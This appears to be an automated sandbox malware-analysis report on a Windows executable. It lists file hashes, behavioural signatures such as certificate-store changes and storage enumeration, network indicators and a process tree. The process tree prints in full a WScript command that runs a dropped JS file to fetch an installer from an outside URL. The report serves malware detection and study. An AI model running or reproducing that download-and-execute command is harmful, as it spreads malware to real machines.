Analysis
-
max time kernel
102s -
max time network
106s -
platform
windows7_x64 -
resource
win7-20221111-en -
resource tags
arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system -
submitted
24-11-2022 04:19
Static task
static1
Behavioral task
behavioral1
Sample
abe4f74f8940d21246a8c5ba1af352032f1430a7b72279ad25ac293de2ea7240.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
abe4f74f8940d21246a8c5ba1af352032f1430a7b72279ad25ac293de2ea7240.exe
Resource
win10v2004-20221111-en
General
-
Target
abe4f74f8940d21246a8c5ba1af352032f1430a7b72279ad25ac293de2ea7240.exe
-
Size
184KB
-
MD5
02181395640c9db0f673cbff90f1f06e
-
SHA1
0b69a0624d9268c0a654bea7f1f884a8f60be13c
-
SHA256
abe4f74f8940d21246a8c5ba1af352032f1430a7b72279ad25ac293de2ea7240
-
SHA512
ea65801585a88abe8acf1b3de7ef631e8ff144b0bdc29e40ddb1db8cd9c3d3ac552f8a216a0b23d404fbd587f62a56664b63f295855f52488b438594db1b0e38
-
SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3Y:/7BSH8zUB+nGESaaRvoB7FJNndnN
Malware Config
Signatures
-
Blocklisted process makes network request 17 IoCs
Processes:
WScript.exeWScript.exeWScript.exeWScript.exeWScript.exeflow pid process 2 1664 WScript.exe 5 1664 WScript.exe 9 1664 WScript.exe 11 1664 WScript.exe 13 1664 WScript.exe 15 1664 WScript.exe 17 1664 WScript.exe 19 1664 WScript.exe 20 1664 WScript.exe 21 1644 WScript.exe 23 1644 WScript.exe 24 1948 WScript.exe 26 1948 WScript.exe 27 1732 WScript.exe 29 1732 WScript.exe 30 1620 WScript.exe 32 1620 WScript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Processes:
WScript.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474 WScript.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 0f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f0b0000000100000034000000420061006c00740069006d006f007200650020004300790062006500720054007200750073007400200052006f006f007400000053000000010000002400000030223020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c0140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df01d0000000100000010000000918ad43a9475f78bb5243de886d8103c09000000010000000c000000300a06082b06010505070301030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae47420000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9 WScript.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 19000000010000001000000068cb42b035ea773e52ef50ecf50ec529030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae47409000000010000000c000000300a06082b060105050703011d0000000100000010000000918ad43a9475f78bb5243de886d8103c140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df053000000010000002400000030223020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c00b0000000100000034000000420061006c00740069006d006f007200650020004300790062006500720054007200750073007400200052006f006f00740000000f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f20000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9 WScript.exe -
Script User-Agent 5 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 2 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 21 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 24 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 27 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 30 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
abe4f74f8940d21246a8c5ba1af352032f1430a7b72279ad25ac293de2ea7240.exedescription pid process target process PID 1208 wrote to memory of 1664 1208 abe4f74f8940d21246a8c5ba1af352032f1430a7b72279ad25ac293de2ea7240.exe WScript.exe PID 1208 wrote to memory of 1664 1208 abe4f74f8940d21246a8c5ba1af352032f1430a7b72279ad25ac293de2ea7240.exe WScript.exe PID 1208 wrote to memory of 1664 1208 abe4f74f8940d21246a8c5ba1af352032f1430a7b72279ad25ac293de2ea7240.exe WScript.exe PID 1208 wrote to memory of 1664 1208 abe4f74f8940d21246a8c5ba1af352032f1430a7b72279ad25ac293de2ea7240.exe WScript.exe PID 1208 wrote to memory of 1644 1208 abe4f74f8940d21246a8c5ba1af352032f1430a7b72279ad25ac293de2ea7240.exe WScript.exe PID 1208 wrote to memory of 1644 1208 abe4f74f8940d21246a8c5ba1af352032f1430a7b72279ad25ac293de2ea7240.exe WScript.exe PID 1208 wrote to memory of 1644 1208 abe4f74f8940d21246a8c5ba1af352032f1430a7b72279ad25ac293de2ea7240.exe WScript.exe PID 1208 wrote to memory of 1644 1208 abe4f74f8940d21246a8c5ba1af352032f1430a7b72279ad25ac293de2ea7240.exe WScript.exe PID 1208 wrote to memory of 1948 1208 abe4f74f8940d21246a8c5ba1af352032f1430a7b72279ad25ac293de2ea7240.exe WScript.exe PID 1208 wrote to memory of 1948 1208 abe4f74f8940d21246a8c5ba1af352032f1430a7b72279ad25ac293de2ea7240.exe WScript.exe PID 1208 wrote to memory of 1948 1208 abe4f74f8940d21246a8c5ba1af352032f1430a7b72279ad25ac293de2ea7240.exe WScript.exe PID 1208 wrote to memory of 1948 1208 abe4f74f8940d21246a8c5ba1af352032f1430a7b72279ad25ac293de2ea7240.exe WScript.exe PID 1208 wrote to memory of 1732 1208 abe4f74f8940d21246a8c5ba1af352032f1430a7b72279ad25ac293de2ea7240.exe WScript.exe PID 1208 wrote to memory of 1732 1208 abe4f74f8940d21246a8c5ba1af352032f1430a7b72279ad25ac293de2ea7240.exe WScript.exe PID 1208 wrote to memory of 1732 1208 abe4f74f8940d21246a8c5ba1af352032f1430a7b72279ad25ac293de2ea7240.exe WScript.exe PID 1208 wrote to memory of 1732 1208 abe4f74f8940d21246a8c5ba1af352032f1430a7b72279ad25ac293de2ea7240.exe WScript.exe PID 1208 wrote to memory of 1620 1208 abe4f74f8940d21246a8c5ba1af352032f1430a7b72279ad25ac293de2ea7240.exe WScript.exe PID 1208 wrote to memory of 1620 1208 abe4f74f8940d21246a8c5ba1af352032f1430a7b72279ad25ac293de2ea7240.exe WScript.exe PID 1208 wrote to memory of 1620 1208 abe4f74f8940d21246a8c5ba1af352032f1430a7b72279ad25ac293de2ea7240.exe WScript.exe PID 1208 wrote to memory of 1620 1208 abe4f74f8940d21246a8c5ba1af352032f1430a7b72279ad25ac293de2ea7240.exe WScript.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\abe4f74f8940d21246a8c5ba1af352032f1430a7b72279ad25ac293de2ea7240.exe"C:\Users\Admin\AppData\Local\Temp\abe4f74f8940d21246a8c5ba1af352032f1430a7b72279ad25ac293de2ea7240.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf10F2.js" http://www.djapp.info/?domain=DpULTVAAYZ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf10F2.exe2⤵
- Blocklisted process makes network request
- Modifies system certificate store
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf10F2.js" http://www.djapp.info/?domain=DpULTVAAYZ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf10F2.exe2⤵
- Blocklisted process makes network request
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf10F2.js" http://www.djapp.info/?domain=DpULTVAAYZ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf10F2.exe2⤵
- Blocklisted process makes network request
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf10F2.js" http://www.djapp.info/?domain=DpULTVAAYZ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf10F2.exe2⤵
- Blocklisted process makes network request
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf10F2.js" http://www.djapp.info/?domain=DpULTVAAYZ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyy C:\Users\Admin\AppData\Local\Temp\fuf10F2.exe2⤵
- Blocklisted process makes network request
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\fuf10F2.jsFilesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\64CWSOHV.txtFilesize
100B
MD5507e38d58f3c7d204d82912be55b5e6e
SHA16ec2829ba4c0c4be40ab011989b4bd18ad195216
SHA256e5a34edbe4886f1d412c4b85141eabeabb35dd4e8641cf4b4172ac7bbdd42a62
SHA512e7a08d49d88a4b02b249212bc2c6d7e0c4378c8d403a26bce45ebdaa9e66c6f6b08021ceec01b539987bf8e9b9fac6bffafead25cf410f639987d453f639a351
-
memory/1208-54-0x0000000075591000-0x0000000075593000-memory.dmpFilesize
8KB
-
memory/1620-65-0x0000000000000000-mapping.dmp
-
memory/1644-58-0x0000000000000000-mapping.dmp
-
memory/1664-55-0x0000000000000000-mapping.dmp
-
memory/1732-63-0x0000000000000000-mapping.dmp
-
memory/1948-60-0x0000000000000000-mapping.dmp